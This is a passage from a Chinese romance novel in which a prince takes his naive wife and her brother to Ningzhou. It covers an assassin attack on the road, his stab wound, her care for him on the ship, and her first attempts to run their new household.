呼吸渐渐顺畅,她小声嘟囔:“你松开我,我要睡了。” “你真是用人朝前,不用人朝后啊。”封肆扣着她,“就在我怀里睡,哪里都不许去。” 她嘴撅得老高:“你不爱我了,你好凶。” “你都不跟我过了,我还爱你做什么?我只爱愿意跟我过的。” “你喜欢我,就是不管怎样都要喜欢我。” “你还挺霸道。”封肆捏捏她的脸,“那你怎么没有不管怎样都喜欢我?” 她耷拉着脸:“噢!” 封肆笑着亲亲她的苦瓜脸:“睡吧,宝贝,明天还要启程。” 她一想到要启程就想哭,可又没力气哭了,哼哼半晌得不到回应,渐渐犯困,呼吸绵长。 封肆盯着她的睡颜,一丝困意也无,气渐渐又消了。 他的媚儿还是个小姑娘,遇到这种事,不害怕才不正常。 “乖宝贝。”他忍不住低头在她脸颊上啄吻,“是我不对,我吓到你了。” 柳娆睁眼时,身旁的人不见了,她伸着脖子左右看一圈,听见外面动静,悄声走去,封肆恰好推门,吓得她往后一缩。 “这也能吓到?”封肆笑着摸摸她的脸,“收拾收拾,准备启程。” “我不想去。” “乖,听话。”封肆将她拉入怀中,“我舍不得你,你舍得我吗?走吧,去洗漱。” 她小声嘀咕:“你昨晚还凶我。” “那是你惹我生气。”封肆认真看着她,“媚儿,你要想清楚,宁州京城千里之隔,你执意不跟我走,这一别或许再也不会相见。” 她顿住。 封肆捧着她的脸,抵着她的额头:“宝贝,跟我去宁州,我爱你,我舍不得你。” 她抿了抿唇,没有回答。 封肆见她迟疑,心情大好,笑着在她脸上亲吻几下,格外温柔:“走吧,收拾行李。” 临别的马车前,柳珣哭得满脸是泪:“祖母,母亲,你们让我和媚儿一起去宁州吧。” 老太太满脸无奈:“胡说什么……” 封肆看去:“也不是不行,这回考得如何?我可以在宁州给你谋个差事。” 柳父严厉拒绝:“这如何能行?考得上便考得上,考不上便继续考学,如此走捷径,只会害了自己。” “一份差事而已,又不是要他封侯拜相,不至于如此。”封肆淡声反驳,又看向柳珣,“你确定要跟我们一同去宁州?” 柳父重重叹息一声,拂袖离去。 封肆当做未瞧见:“你也不必担心,将来你若想回京城,随时可回。” 老太太和陈夫人一时也不知如何是好了,家里若是有个人能去陪着媚儿,那是再好不过,可总不能因此耽搁了老三的前程。 “二弟,你说呢?”封肆看向柳瑜。 柳瑜上前:“祖母,母亲,媚儿第一回出远门,有个人陪着也好,再说三弟此回便是考中,还需吏部考核,说不好也要外放,如此不如跟着王爷,好歹有人照应。” 柳珣急忙点头:“正是如此。” 老太太犹豫不决:“那、那……” 封肆打断:“走吧,再不走就赶不上去下一站驿馆了。” “祖母,母亲,那我便先走了。”柳珣擦了擦眼泪,朝长辈跪地行大礼,而后钻上马车,“走吧。” 封肆不紧不慢地对柳家长辈道:“我便带媚儿离去了,二位不必担忧,往后每年我们都会回来探望。” 老太太老泪纵横,轻轻挥挥衣袖:“去吧。” 封肆微微颔首,转身跨上马车,吩咐一声,马车缓缓驶动。 车上,柳娆正在给柳珣擦眼泪:“三哥,你别哭了。” 封肆瞥一眼,很是不顺眼:“好了,多大的人了,哭哭啼啼像什么样子,坐好。” 柳珣立即正襟危坐。 封肆又瞥他一眼,将柳娆搂进怀里。 许久,他突然蹦出一句:“你们家也就你们二哥有灵气些。” 柳娆和柳珣都未听懂。 封肆也不好点破,若此刻坐在车里的是柳瑜,早就自觉换辆马车前行了,哪里还会赖在这里跟个木桩子似的?《 》 60-67 第61章 第 61 章 你会打我吗? 封肆又将人往怀里搂了搂:“今日有没有什么活动?” 柳娆赶忙摇头:“没。” “要不要看书?” “不不。” “串璎珞?” “不不。” 封肆在她脸上亲一口。 柳珣臊得赶紧捂眼。 “好吧, 那就安安静静坐着。”封肆往后靠了靠,双腿一伸,随意搁在脚凳上。 柳娆悄悄看他:“我们晚上住在哪儿?” 他仰头靠在车厢上, 眼眸微微合起:“驿馆。” “是不是和客栈差不多?我们要三间房吧, 我想单独住一间。” “嗯?”封肆睁眸看去, “那万一晚上遇到危险怎么办?小偷,坏人, 采花贼, 我可来不及救你。” 她吓得一抖, 看向柳珣。 “这倒是的。”柳珣小声回。 “那好吧。”柳娆垂眸。 封肆低头在她耳旁悄声问:“为何不想和我一起睡?” 她看他一眼,没有回答。 柳珣却是坐不住了,连声道:“我、我去后面的马车上吧……” “好吧。”封肆爽快叫停马车,看着他落荒而逃, 畅快极了。 “三哥, 三哥。”柳娆喊两声, 没有什么成效, 蔫蔫儿坐回。 封肆扣住她的腰,在她唇上啄吻着,又问:“为何不想和我睡?你已经这样讨厌我了吗?你摸摸我的心,你明不明白我也会伤心?” “我、我……”她磕磕巴巴。 “你是不是不爱我了?” “我、我……”她答不出,又哭起来,“我害怕你是个坏人。” “我不是跟你解释过了吗?那是个坏人,我不是故意要伤他,再者, 我以后再也不干这个了,你监督我,好不好?” “你会打我吗?你要是不爱我了, 会不会用烙铁烫我?我的肉就会像小羊的肉一样,滋啦,就烧焦了?” “媚儿,我不会滥杀无辜的。” 柳娆看着他认真的眼眸,勉强接受:“那你能让我和我三哥坐一辆马车吗?我想休息一会儿,我昨晚没睡好。” “没睡好,那你可以就在这里休息,为什么非要到你三哥那里才能休息呢?” “因为我现在在你身边就会很紧张,就会做噩梦,梦见你用烙铁烫我……我相信你了,你能不能也相信我?给我一点能完全信任你的时间?” 封肆怀疑自己被她给绕进去了,但此刻被架在这里,他也不好不应:“好,那你去吧。” 他的人没有跟下车,心却已经随她一起走远,没过多久,他就开始忍不住吩咐:“去看看王妃在做什么?偷偷去看,不要让她发现了。” 管事跳下车,偷偷摸摸朝后去,又偷偷摸摸回来,来来回回好几趟,封肆终于听见了自己想要的答案。 “王爷,王妃她睡了。” 封肆立即跳下马车,钻入后一辆马车中,低声道:“你出去。” 柳珣不服气:“我凭什么要出去?” 封肆直接捉住他的手臂,将他扔出车门,抱起靠在车厢角落里熟睡的人,惬意往后靠去。 柳珣还想再理论几句,看到熟睡的妹妹只能作罢。 黄昏,夕阳的余晖照进车窗中,柳娆缓缓睁眼,瞧见封肆的睡眸。 她怔愣片刻,渐渐醒神,静静看着他。 出了城,土路难行,即便是再稳当的马车也会颠簸,她卧在封肆怀里,却是稳稳当当。 她爱他吗?什么是爱呢?她忽然有些分不清了。 马车突然往前一晃,睡梦中的人眼还未睁开,手臂却一紧,将她牢牢往怀中一抱,她的脸几乎挤在他宽阔的胸膛上。 “发生何事了?”他皱着眉发问。 柳娆盯着他。 “只是一个小土坡,王爷不必担忧。” 他紧锁的眉头舒展开来,垂眸,对上那清澈单纯的目光,嘴角弯起:“醒了?” “嗯。”柳娆避开眼。 “应该快到了,晚上想吃什么?” “有什么就吃什么。” “今天怎么这么好说话?想吃什么便说,我让人去给你弄来。” 她有点不敢对上他的视线:“路上颠簸,没胃口。” “要不要歇两日再走?也不着急赶路。” “不用。” 封肆看出她的冷淡,只剩无奈。 夏日,燥热,马车一路驶向南方,前面便是港口,要换船前行,柳娆正盯着车窗外的小丘陵发呆。 封肆盯着她。 他总觉得她这段时日心事重重的,都不如从前活泼了,可也问不出什么来。 “媚儿。”他试探唤。 柳娆回眸,视线对上他的瞬间又快速挪开:“嗯。” 他将她凌乱的鬓发理顺,轻声道:“很快就要换船前行了,从前坐过船吗?会不会不适?” “坐过小船,不晕。” “那便好。”封肆将她拥入怀中,用下颌轻轻蹭蹭她的发顶,“你这些时日都在想什么?为何总是一副出神的模样?” “没什么。”柳娆垂眸看着袖上的绣花。 “宝贝,有什么忧虑的跟我说,好吗?你这样我会担心……” 话音未落,哐当一声,马车突然刹住,车厢重重往前一晃,侍卫高呼“有刺客!” 封肆紧紧抱住怀里的人,皱着眉头探出车窗去看,果然瞧见一群黑衣刺客,此刻拦住车队,与侍卫缠斗起来,形势不妙。 他搂着人跳下马车,将她塞进柳珣的马车中,沉声叮嘱:“看好媚儿。” 柳珣也听见方才的动静,紧紧抓住柳娆的手臂,重重点头。 柳娆还不太清楚发生了何事,蹙着眉头问:“什么刺客?” “你不管,好好坐好。”柳珣将她护在身后,双眼紧紧盯着关闭的车门,随时准备着与闯进来的人搏斗。 刀剑碰撞的刺耳声连连传来,柳珣越发紧张,额头上的冷汗不停顺着脸往下流,滴滴答答全淌在马车上。 突然,车前的马儿嘶鸣一声,疯狂往前跑去,他一个趔趄跪趴在车厢中,紧忙扶稳,驮起身后同样摔倒的小妹。 车厢颠簸,飞速前行,晃得人眼前几乎模糊,他怔愣片刻,急忙大喊:“救命!救命!” 封肆正与人打斗,听见呼叫声,回头一看,却见柳娆所坐车的那匹马被箭扎中,正疯狂向前驶去。 他一剑了结眼前刺客,转头飞奔,追上狂跑的马,死死抓住车辕,几乎是被马车拖着往前走,铲得路面尘土飞扬,紧紧抵在黄土路面上的长靴更是已有破损,他耐着性子,屏息凝神,寻准时机,往车上一跃,一剑斩断车辕。 受伤的马儿飞奔而去,车轮往前快速转动十几圈,砰一声重重朝前摔去。 他亦翻滚几圈,快速起身,将马车里摔成一团的两人提起来,拽去路边石头旁躲着,提剑又对上追上来的刺客。 方才那一阵天旋地转,柳娆和柳珣都摔蒙了,现下稍稍清醒过后,皆是扶着石头干呕,稍吐出些清水,一阵微风拂来,两人都清醒许多,再抬头看去,黄土纷扬的路上已是尸体遍布,黑衣刺客刺来,袖口中骤然冒出的匕首插进封肆的腹中,鲜血瞬间蔓延,染红他藏青色的衣袍。 “小四!”柳娆大吼一声,抬腿便要冲过去。 “别去!”柳珣慌忙抱住她的腰,将她紧紧拦住。 封肆没有回头,忍痛砍断刺客握匕首的手,一剑封喉,鲜血四溅。 “王爷!”刺客已被全数拿下,侍卫们冲来。 他摆了摆手,缓缓转身,豆大的冷汗从苍白的脸上不停滚落。 “小四!”柳娆挣脱束缚,几乎是飞过去,一头扎进他的怀里,眼泪稀里哗啦往下掉,哽咽难言,“小四……” 封肆轻轻抚摸她的后颈:“吓到了?上车去吧,我们去港口坐船。” 他捉住她的手,缓步跨上马车,低声吩咐:“金疮药。” 管事追到马车旁,小声提议:“此处离港口不远,那处有人聚集,定有大夫在,不如等到了港口再处理伤口?” “不必。”他往车中一坐,从匕首处撕碎上衣,接来药粉,往伤口周围洒去,用纱布一按,紧咬牙关,干脆利落拔出匕首,纱布瞬间被鲜血染透。 柳娆双手抓着干净的纱布,慌忙帮着按在伤口上,眼泪悄声下坠。 封肆疼得双眼几乎无法睁开,微微抬眸,为她抹去眼泪,有气无力道:“去港口,上船。” 说完,他双眼合上,昏死过去。 “小四!小四!”柳娆喊几声,没见他有回应,彻底慌了神,“怎么办?怎么办?” 管事紧忙探入车门,试探他的鼻息,而后长松一口气,快速将伤口缠绕止血:“王妃,王爷只是昏过去了,眼下应该立即派人前往港口附近寻找大夫。” “好好。”柳娆胡乱点头,“那你赶紧安排人去。” “是。”管事又道,“王爷昏迷前,吩咐让队伍尽快启程前往港口乘船,王妃,我们也得快些启程,待抵达港口后,直接上船诊治。” “好、好。” “天气炎热,以防伤口恶化,还需有人去采买冰块搬去船上。” “好,我什么都听你的,你快去办。” 车队重整,又缓缓行驶起来。 柳珣钻进车厢中,轻声询问:“媚儿,王爷还好吗?” 柳娆紧紧握住封肆的手,眼泪又吧嗒吧嗒往下掉:“他流了好多血,现在昏过去了,还不知道什么时候才能醒,三哥,你去帮我问问什么时候才能到达港口。” 第62章 第 62 章 你喂猪呢? “好!”柳珣立即钻出车厢外小跑着去问。 王府的管事在府中做事多年, 将一切事务安排得井井有条有条不紊,此刻已经组织吩咐完毕,车队已全速前往港口, 半个时辰后便能抵达。 半个时辰后, 港口旁船只已经靠岸, 好几个护卫一起将昏睡的人抬下马车,送入船舱卧房中, 大夫提着药箱进入, 跪坐在床边诊断。 柳娆焦急地看着, 生怕打搅到大夫,小心翼翼询问:“大夫,他还好吗?” 大夫跪地叩首恭敬回答,许多话她都听不明白, 但她听懂了封肆的伤很严重, 连着赶路, 有些发热, 需要立即治疗,幸好他们启程出发之前,家里便准备了许多常用的药材,此刻正好派上用场。 她看着那堆药材却是一脸茫然,若不是这样的突发情况,她都不知道还准备了这些,那几天她在闹脾气,即便是不闹脾气她大概也只是会收拾些衣物首饰, 她想着这些,心里忽然沮丧极了。 “三哥,你说我是不是很没用?” “什么?你是说看大夫的事吗?你又没有学过医, 这也不能怪你,王爷不是已经喝下药了吗?说不定很快就会好的。” “我是说,我从来都不知道出远门还要备着药材。” 柳珣拍拍她的肩:“我也不知道这些,要是这么说的话,我也是没用的人,媚儿,别想太多,你从前也没出过远门,不知道这些也是常事。” 她抿了抿唇,拿起圆扇,轻轻给床上的人扇风,自语道:“大夫说了,不能太热,太热,他身上的伤口会恶化。” “媚儿,天都黑了,你早些休息吧,让侍女们来盯着。” “好,三哥,你也去休息。” 她嘴上答应着,可仍旧跪坐在床边,拿着圆扇给昏睡的人摇。 月上中天,她疲惫至极,头一歪,睡倒在他肩头,手中的小扇轻声落在被褥上。 流水从头顶越过,船只平稳前行,日光照在水面上映出刺眼的光芒,她缓缓睁眼,模糊的视线逐渐清晰,瞧见那双微微含笑的眼眸。 封肆正支着头看她:“睡好了?” 她慌忙坐起,探探他的额头,立即转身下床趿拉上鞋子便要往外跑,腿刚往外迈步,手腕便被人抓住。 “去哪儿?”封肆问。 “去找大夫来给你看看呀,你快松手。”柳娆急得不得了。 封肆笑着将她拉回:“大夫已经来看过了。” “看过了?”她一脸茫然,“什么时候我怎么不知道?” 封肆将她轻轻搂在怀里:“你睡着的时候,你看看现下太阳都多大了?” “啊,我睡得这么沉吗?大夫来我都不知道?” “昨晚是不是睡得很晚?” 她胡乱点点头,又问:“大夫是怎么说的?你吃过药了吗?” “大夫说我没有大碍,慢慢养着就好,药还在煮着,不知道好了没有。” “你等着我,这就去看看。”她又起身,拔腿就往外跑,刚好碰见来送药的侍女,接下药碗边吹边往回走,“我喂你吃药吧。” 封肆有些意外,微微挑眉:“好。” 勺子里的汤药不烫,但苦,小勺小勺的慢慢喝更苦,从舌尖一路苦到脑仁,苦得他头疼,但看一眼眼前那认真的神情,他忍住了。 咽下最后一口苦涩的药汁,他紧忙道:“漱口。” 柳娆端来茶水,奇怪看着他:“你很怕苦吗?” 他吐出那口茶水,脸色才恢复许多:“不怕,让人拿些蜜枣来。” 蜜枣塞入口中,他终于长舒一口气,随口闲话:“昨晚几时睡的?今早这么晚才醒?” “不知道。”柳娆解开他的上衣。 他一怔,握住她的手:“做什么?” “给你换药啊,你早上换过了吗?大夫说了,你这个药要一天一换的。” “原来如此。”封肆松了口气,他说伤口不严重是假的,那把匕首插得不算浅,他接下来一个月大概都不能再用腰了,“还没,你换吧。” “噢。”柳娆擦了擦手,小心翼翼解开那腰间缠绕的布条。 布条一圈圈解开,越往里越是血红一片,最后,那骇人的伤口露出,她眉头紧锁,愁云满面。 “让大夫来给我换药吧。” “不用,我可以给你换。”她将药粉往伤口上倒,又担心他疼,低头吹吹,吹飞药粉,她赶紧拿着布条给他缠好,歪七扭八地打了个结,“好了。” 封肆摸摸她的脑袋:“媚儿真棒。” “你疼吗?”她问。 “还好,不算很疼。” 她垂下眼,默默给他整理好寝衣。 封肆看着她:“在想什么?这段时日你总是这样出神。” 她轻轻摇头。 封肆将她轻轻按入怀中,温声道:“是不是被昨天的事吓到了?放心吧,那些刺客都已经抓起来了,我们不会再有危险了。” 她还是摇头。 “那是为何事而担忧?你还是觉得我是个坏人,在我身旁无法安睡?” “我……”她紧紧咬着唇。 封肆抚抚她的背:“还是不想在我身旁睡?不高兴?不想和我住在一起,不想和我坐同一辆马车?” 她紧紧抱住他的肩,小声开口:“今天的这些刺客和那个坏人是一伙儿的吗?那个暗牢里的坏人。” “我也不清楚,还要等他们审问过后才知道。” “审问……回用烙铁烫他们吗?” “我不知道他们是如何审的,但是如果那些刺客嘴硬的话,免不了要用些手段。” “我知道了。” 封肆轻轻拍着她的背:“你不想他们这样审理那些刺客吗?” 她轻轻摇头:“我不知道,这些事比我想象中的还要复杂。” “那你还怪我吗?” 她沉默一会儿,又摇头。 封肆扬唇,这回他真要感谢那几个刺客,若不是他们,媚儿还不知道要和他闹到什么时候去。 “你不怪我就好,你知道你这些天对我这样冷淡,我心里面有多难过吗?媚儿,我们还像原来那样,好吗?” “嗯。”柳娆轻轻点头,抬手抹抹眼泪。 封肆笑着捧起她的脸,轻声打趣:“你哭什么?你这段时日一直对我不理不睬的,我都还没哭呢。” 她嘴唇微动,眼泪跟珠子似的,一颗粘着一颗往下掉,哽咽道:“我担心你……” 封肆心头微震,将她轻轻搂在怀里,轻哄:“好好,我知道了,宝贝,我没什么大碍的,我不是还能和你说笑吗?不必担心,等到了宁州伤口便能痊愈。” 她靠在他肩头,更委屈了:“昨天你受伤昏倒之后,我都不知道该怎么应对,我觉得自己太没用了。” “府中的管事跟随我多年,他会安排好一切事宜,这些都不必你操心,你只要高高兴兴就好了。” “噢。” “不愿意,那你想怎么样?” “我不想怎么样呀?我就是想如果你生病了,我能做些什么。” 封肆轻笑:“我的媚儿长大了。” 柳娆看他一眼。 他亲亲她的额头:“你不是陪着我,给我换药了吗?这就够了。你是我的王妃,哪有那么多事情需要你亲自去做?” “我可以不亲自做,但是我得懂啊,可是现在我不懂。” “还挺好学。”封肆笑笑,“好,那你想学什么?想弄懂什么?你问我,我教你便是。” “噢。”她抿了抿唇,这才满意。 “王爷,王妃,柳三公子请见。”侍女在外传话。 封肆稍稍往后斜靠:“叫他进来。” 柳珣推门而入,直奔柳娆而去,走到一半又停住,朝他行礼:“拜见王爷。” 封肆瞥一眼,懒得理会:“不必多礼。” 柳珣当真不再多礼,转头朝柳娆道:“我听他们说你醒了,你还没有叫早膳吗?不饿吗?” “忘了,现在就叫。”柳娆朝外吩咐一声,却看向封肆,“你吃过了吗?” “早上吃了两块点心。” “那我们一起吃吧。” 饭菜送上来,柳娆端起碗勺,夹一些菜和米饭拌一拌,舀一勺送到封肆嘴边:“吃吧。” 封肆受宠若惊:“媚儿,不必如此,我只是腹部受伤,手还能动,你吃自己的就好。” 柳娆坚持:“不行,你受伤了,我要照顾你。” 柳珣看得很是不顺眼:媚儿从前在家里可是千娇百宠的,哪里做过这种伺候人的事? 封肆看他同样不顺眼:没看到人家夫妻两个甜甜蜜蜜,恩恩爱爱?还杵在这儿,真碍事。 两人目光交汇过后,柳珣突然冲上前:“媚儿,我来照顾王爷吧。” “啊?”柳娆一脸茫然。 柳珣夺过她手中的碗勺,舀满满一大勺,送到封肆嘴边。 封肆淡淡瞥他一眼,没有张嘴。 “王爷,你吃啊,一会儿要冷了。” “你喂猪呢?” 柳娆将碗勺夺回来:“三哥,你不会照顾人,还是让我来吧。” 柳珣死死抓着碗不肯放手:“媚儿,你从小到大哪里做过这样的事?你哪里照顾过人?” “可是小四受伤了呀。”柳娆强行夺回碗勺,“哎呀,三哥,你别耽误事儿了,我给他喂完饭,我自己还要吃呢,我都饿了。” 第63章 第 63 章 这个家离了我是不行的 封肆已经瞥柳珣好几眼了, 要不是媚儿在,他都要吩咐人将这个傻小子扔出去了。 “三弟,你若是没事就去玩吧。” “你少支开我。”柳珣握拳气愤。 封肆最后瞥他一眼, 将柳娆往怀里一搂, 双手圈住她的腰, 一口一口接过她喂来的饭,喂着喂着还突然冒出一句:“媚儿, 亲我一下。” 柳娆轻轻在他脸上啄吻一下, 温柔得不得了:“快吃吧。” 柳珣臊得满脸发烫, 落荒而逃。 封肆在心中轻哼一声,松开怀里的人:“我自己来吧,你不是饿了吗?也赶紧吃,别把身子饿坏了。” “你也别碍事, 赶紧吃。” 封肆噎住, 乖乖配合。 那碗饭喂完, 柳娆显然松快很多, 脸不垮着了,嘴角不垂着了,又恢复了往日的几分活泼。 封肆参透她的心思,笑着捏捏她的脸:“以后都由你给我换伤药,如何?” 她连连点头:“好啊好啊,我可以给你换药的!” “至于汤药、饭菜就不用喂了,我手好着,自己能来……” “为什么?你觉得我干的不好吗?”柳娆一脸严肃。 “呃……也不是……就是……” 柳娆严肃追问:“就是什么?” 封肆眼眸忽闪几下, 低声试探:“其实药一口喝完最省事……” “你是说我碍事?” “没有没有没有,我绝对不曾有这个意思,我是说…嗯…你给我喂药也挺好的, 我挺开心的,只是我觉得你这样太辛苦了,当然,若是你觉得不辛苦,还继续想喂的话,我也并无异议。” 柳娆安心继续吃饭,自语道:“这就对了嘛,我还是有点用处的,这个家里离了我是不行的。” 封肆好笑道:“是、是,你是家里最有用的。” 柳娆迅速吃完饭,放下碗筷,站起身来:“好了,我要出去吩咐他们做事了。” 封肆握住她的手腕:“吩咐他们做什么?” “我要去管事呀,要安排他们做事啊,不然外面不是会乱糟糟的?” “用不着你去管事,都已经安排好了,你在这里陪着我就行。” “可是外面那么多事呢……” “但是我也需要你的照顾啊,现在照顾我比较要紧,宝贝,你就留在这里照顾我,外面的事情等我好了你再去。”封肆赶紧打断,生怕再不拦住她,她就要出去闹腾。 她深思熟虑一番:“那好吧,那我就先在这里照顾你吧,你快躺着,你身上的伤还没好呢。” 封肆长松一口气,握着她的手轻轻躺下:“你还好吗?有没有晕船?” “没有。”她又拿起那把小扇对着他的伤口摇,“大夫说了,你的伤口不能受热,会恶化的。” 封肆微怔:“你昨晚是为了给我扇风才睡那么晚的?” “对呀。” “我的傻媚儿。”封肆轻声感慨。 柳娆轻轻瞥他一眼:“你干嘛骂我?” 封肆无奈:“不是骂你,是心疼你。” “噢。”她沉默片刻,忽然问,“宁州在什么地方?” “嗯?”封肆微微抬眉,“在南边有山有水的地方,螃蟹河虾最多,吃都吃不完。” “真的啊?”柳娆眼睛一亮。 封肆觉得好笑:“怎么?想去吗?” “对呀对呀。” “你不是舍不得祖母母亲,想要留在京城的吗?” “我是舍不得祖母母亲,但是但是……但是我也舍不得你呀,谁叫你要来这里呢?我就只能跟着你来了呀。”柳娆小声嘟囔。 “好好,都是为了我。”封肆笑着将她往怀里一搂,抽走她手中的扇子,“房中放了冰,也不是太热,不用扇了,不累吗?歇一会儿吧。” 她轻轻往他肩上靠了靠:“小四,你身上的伤什么时候才能好呀?” “咱们这段时日都坐船,也不需要颠簸,放心吧,很快就能好。” “我想你早些好起来,这样我们就能出去玩了,我还没有出过远门,都不知道外面是什么样的。” “以后出门的机会多的是,我也没有差事要干了,每天都能陪你出去逛。” 她偷笑:“那可太好了。” 封肆亦十分高兴,他早不想干了,现下终于如他所愿,能和媚儿朝朝暮暮。 一个月后,船抵达宁州,他身上的伤也差不多痊愈,他们立在甲板上,等待着船靠岸。 岸边人来人往,烟火气浓厚,柳娆看着,已迫不及待要冲下去。 封肆及时抓住她的手:“媚儿,不要乱跑,我的伤还没好,需要你照看。” “噢,好。”她依依不舍收回眼,小心翼翼扶着他,“夫君,我扶你下船,你当心些。” 封肆满脸欣慰,缓步跨下船,钻进马车中,径直往府邸去。 柳娆人在车上,心已飞去车外,一路盯着车窗外,哪里都是新鲜的,遥遥看见宁王府三个大字更是兴奋,拽着他的手要他看:“到了到了,小四,你快看,我们家好大,比京城的家还大呢!” “媚儿,手要扯断了。” “噢,不好意思啊。”柳娆给他搓搓,又往外看,“真的好大啊!诶?怎么门前围了这么多人?” 封肆往外看一眼,吩咐管事上前查探。 没多久,管事小跑回:“王爷,那些都是宁州各地的官员,听闻王爷今日会抵达宁州,特来拜访。” “一路舟车劳顿,哪有什么心思跟他们闲聊,叫他们都回去,改日再来。”封肆将车窗一关,眼不见心不烦。 马车越过角门朝府中去,管事又上前禀告:“他们说王爷既然辛劳,便不多加搅扰,但是送来的特产还请王爷务必收下。” “特产?什么特产?”柳娆脑袋一伸。 “金银珠宝,酒水点心之类的,还有……”管事欲言又止,“总归便是一些特产。” “啊,原来那些金银珠宝都是宁州产的吗?” 封肆笑着敲她一下:“说的都是什么和什么,说是特产,不过是借一个好听点的名头罢了,那都是用来奉承你夫君我的。” 她恍然大悟:“噢,原来如此啊。” “让他们都搬回去,我才刚到,一大堆行李都还没有收拾妥当,叫他们改日再来。”封肆吩咐一声,将她一搂,“走,看看咱们的新宅子去。” 宁州的王府比京城的王府还要大,还要气派,雕栏画栋琳琅满目,听闻他们要来,府上的侍女早已将家中收拾妥当。 柳娆挣脱他的手,在院子里跑跑跳跳,这里也新鲜,那里也新鲜,跑出去一段又跑回来:“今天也算是乔迁之喜了,我们一起吃个饭吧!” “好,你让人去准备。”封肆吩咐管事。 侍女们准备好饭菜,一一呈上,笑着介绍,柳娆仰着脑袋认真听讲,热情回应。 封肆对这些不甚有兴致,剥着虾蟹,和柳珣说话:“三弟……” “你为什么总是喊他三弟?他是我三哥呀。”柳娆打断,毫不客气夺走他手中剥好的螃蟹,塞进嘴里。 他习以为常,继续剥下一个:“你论你的,我论我的。” “噢……” “三弟,你是想在我这王府里谋个差事,还是去知府里谋个差事?” “我刚来此处,人生地不熟,王爷还是先给我安排一个府中的差事吧。”柳珣心中打起了小算盘,他得看好媚儿,不能让这人欺负媚儿。 封肆一眼看出他的小心思,没有戳破:“也好,过两日我和媚儿要去看此处的俸田和产业,到时你与我们同去,这两日你就先好好歇歇,若是无事可以自己出门去逛逛。” 他却不明白封肆的言外之意:“媚儿,我们可以一起出去逛逛。” 封肆道:“媚儿舟车劳顿也需要休息。” 柳娆立即反驳:“我不累,我可以出去玩儿的。” 封肆不紧不慢道:“我的伤好像又开始疼了。” “啊?那好吧,那我还是在家里照顾你吧。”柳娆叹了口气,一副老成持重的模样,“三哥,你自己出去玩吧,我还有事情要忙呢,这个家里离了我是不行的。” 柳珣总觉得这个宁王在装病:“媚儿,都这么久了,就算是再重的伤也该好了。” “那么重的伤,怎么可能这么快就能好?只是外面结痂了而已,里面肯定还没有好的。哎呀,三哥,你要想出去玩就自己去嘛,你要是一个人不好意思出去,就让纤云陪你去,你别打搅我啊,听话。”柳娆说着还往他碗里夹了块肉,“吃吧。” 柳珣满脸憋闷:“媚儿……” 柳娆毫不留情打断:“听话听话。” 封肆强忍着笑,故作大度:“媚儿,你放心,等我的伤全好了,你想去哪里玩就去哪里玩。” 她不假思索:“你放心吧,我和三哥不一样,我不是小孩子了,不需要天天出去玩儿的,从明天开始我就要管理府里的事情了。” 封肆险些被呛到,连忙道:“我身上的伤只是不能出去游玩,但好的差不多了,明日我和你一起,看看你如何管理。” “行!没问题!” 不就是管人嘛,应该没什么难的,柳娆对自己很有信心,直到看见满院子的侍女小厮。 “天哪,怎么这么多人啊?” 她一眼看过去,连谁是谁都分不清。 第64章 第 64 章 早知道不住这么大的宅子…… 封肆抬眉:“管吧。” “我……”柳娆有些为难, 扯扯他的袖子,小声道,“这么多人, 我哪里分得清谁是谁呀?” 封肆也压低声音:“你问他们领头的不就知道了?” “可是我连府里面的事务是如何划分的都不知道呀。” “你问管事呀……咳咳。”他也觉得自己嗓子夹得不对劲, 假咳两声, 朝管事示意一眼。 管事上前几步,严肃道:“王爷不在时, 府中是谁在管事?” 有人走出。 “如今王爷和王妃都抵达宁州, 往后府中事宜都交由王妃管理, 你上前来向王妃禀告吧。” 柳娆立即正襟危坐,竖着耳朵仔细听,恨不得拿着本子记下来。 那管事的介绍完,府中的佣人开始一个个上前自我介绍, 这才是真正头晕眼花的时候, 柳娆盯着花名册一个个对上, 半天下来, 头昏脑胀,起身时险些没站稳。 封肆扶住她的手臂:“当心。” “管家怎么这么难啊?家里人好多,我都记不过来了,要不咱们解雇一些吧。”她整个人都快蔫儿了。 “那府中的活儿都由谁来干?这么大个宅子,每日打扫的人都得不少。”封肆好笑道。 “啊?早知道咱们不住这么大的宅子了……唉。” 封肆揉揉她的脑袋:“又不必每个人都记住,你只记住那几个领头的就行了。” “噢?还可以这样的吗?那我要让他们去办事,该怎么办呢?” “当场问便是。” 柳娆恍然大悟:“噢,原来还可以这样啊。那我就不用担心了, 我就可以只看府中的事务了,太好了!” 封肆笑着捏捏她的脸,将她往怀里一搂:“今天累着了, 回去歇歇。” 她活动活动脖子,长叹一声:“管家可真累啊!” 封肆亲她一口:“那我们休几日再去清点庄子……” 话未说完,柳珣突然冲来,抓住她的手臂将她往后拉,着急小声教训:“媚儿,光天化日之下,你怎么能和他这样呢?” “怎样?”她满脸茫然。 柳珣小声道:“亲嘴啊!” “噢,这不是在家里嘛,又没有外人。” “可是……” “没有什么可是,三哥,你听话啊,不要闹。”柳娆哄几声,踮着脚要摸他的脑袋。 封肆上前一步,挡在他们中间:“三弟,你也去歇歇,过两日我们一同去清点田地庄子。” 柳珣不服气:“你……” 封肆拍拍他的肩:“三弟,莫闹。” 柳娆连连赞同点头:“三哥,你别闹,我今天累了,你先自己玩一会儿,等我闲了再陪你。” 柳珣还没来得及开口,两人已走远,搭着肩搂着背,一路欢声笑语。 天晴,府内的事务差不多理顺,乘着车往城外的俸田去,柳娆蹲在田埂上,双手遮挡住远处刺眼的光,看着田里劳作的农民。 “田里的是什么?”她好奇。 封肆叉着腰站在她身旁:“稻子。” “稻子是什么?” “就是你吃的米饭。” 她抬眸,满眼新奇:“哇,这就是稻子啊。” 封肆无奈笑道:“那不然呢?走了,当心晒黑了。” “噢。”她紧忙起身,眺望一眼稻田里劳作的人,好奇一句,“他们不怕晒黑吗?” 柳珣重重叹息,小声解释:“媚儿,他们是农民,不劳作就没有饭吃的。” “啊?”柳娆一脸苦闷,“这么热的天也不能休息吗?” “眼下已入秋,都不算热了,夏季炎热的时候,他们照旧要劳作,日出而作日入而息,日日如此。” “啊?他们得吃多少粮食啊?” 柳珣险些晕过去,苦口婆心道:“媚儿,不是他们吃得多,是朝廷征收得多。” 说罢,他朝封肆瞥一眼,柳娆顺着他的目光看去,瞧见封肆,恍然大悟:“是你欺负他们了?” 封肆瞅柳珣一眼:“我能代表整个朝廷?” 柳娆蹙蹙眉:“那是谁干的?” 封肆又瞪柳珣一眼,搂着柳娆往车边走:“我可不收他们的税粮,我有自己的俸田,你若是觉得他们可怜,往后我们俸田少收些就成了,别听你三哥瞎说,净会往我身上泼脏水。” 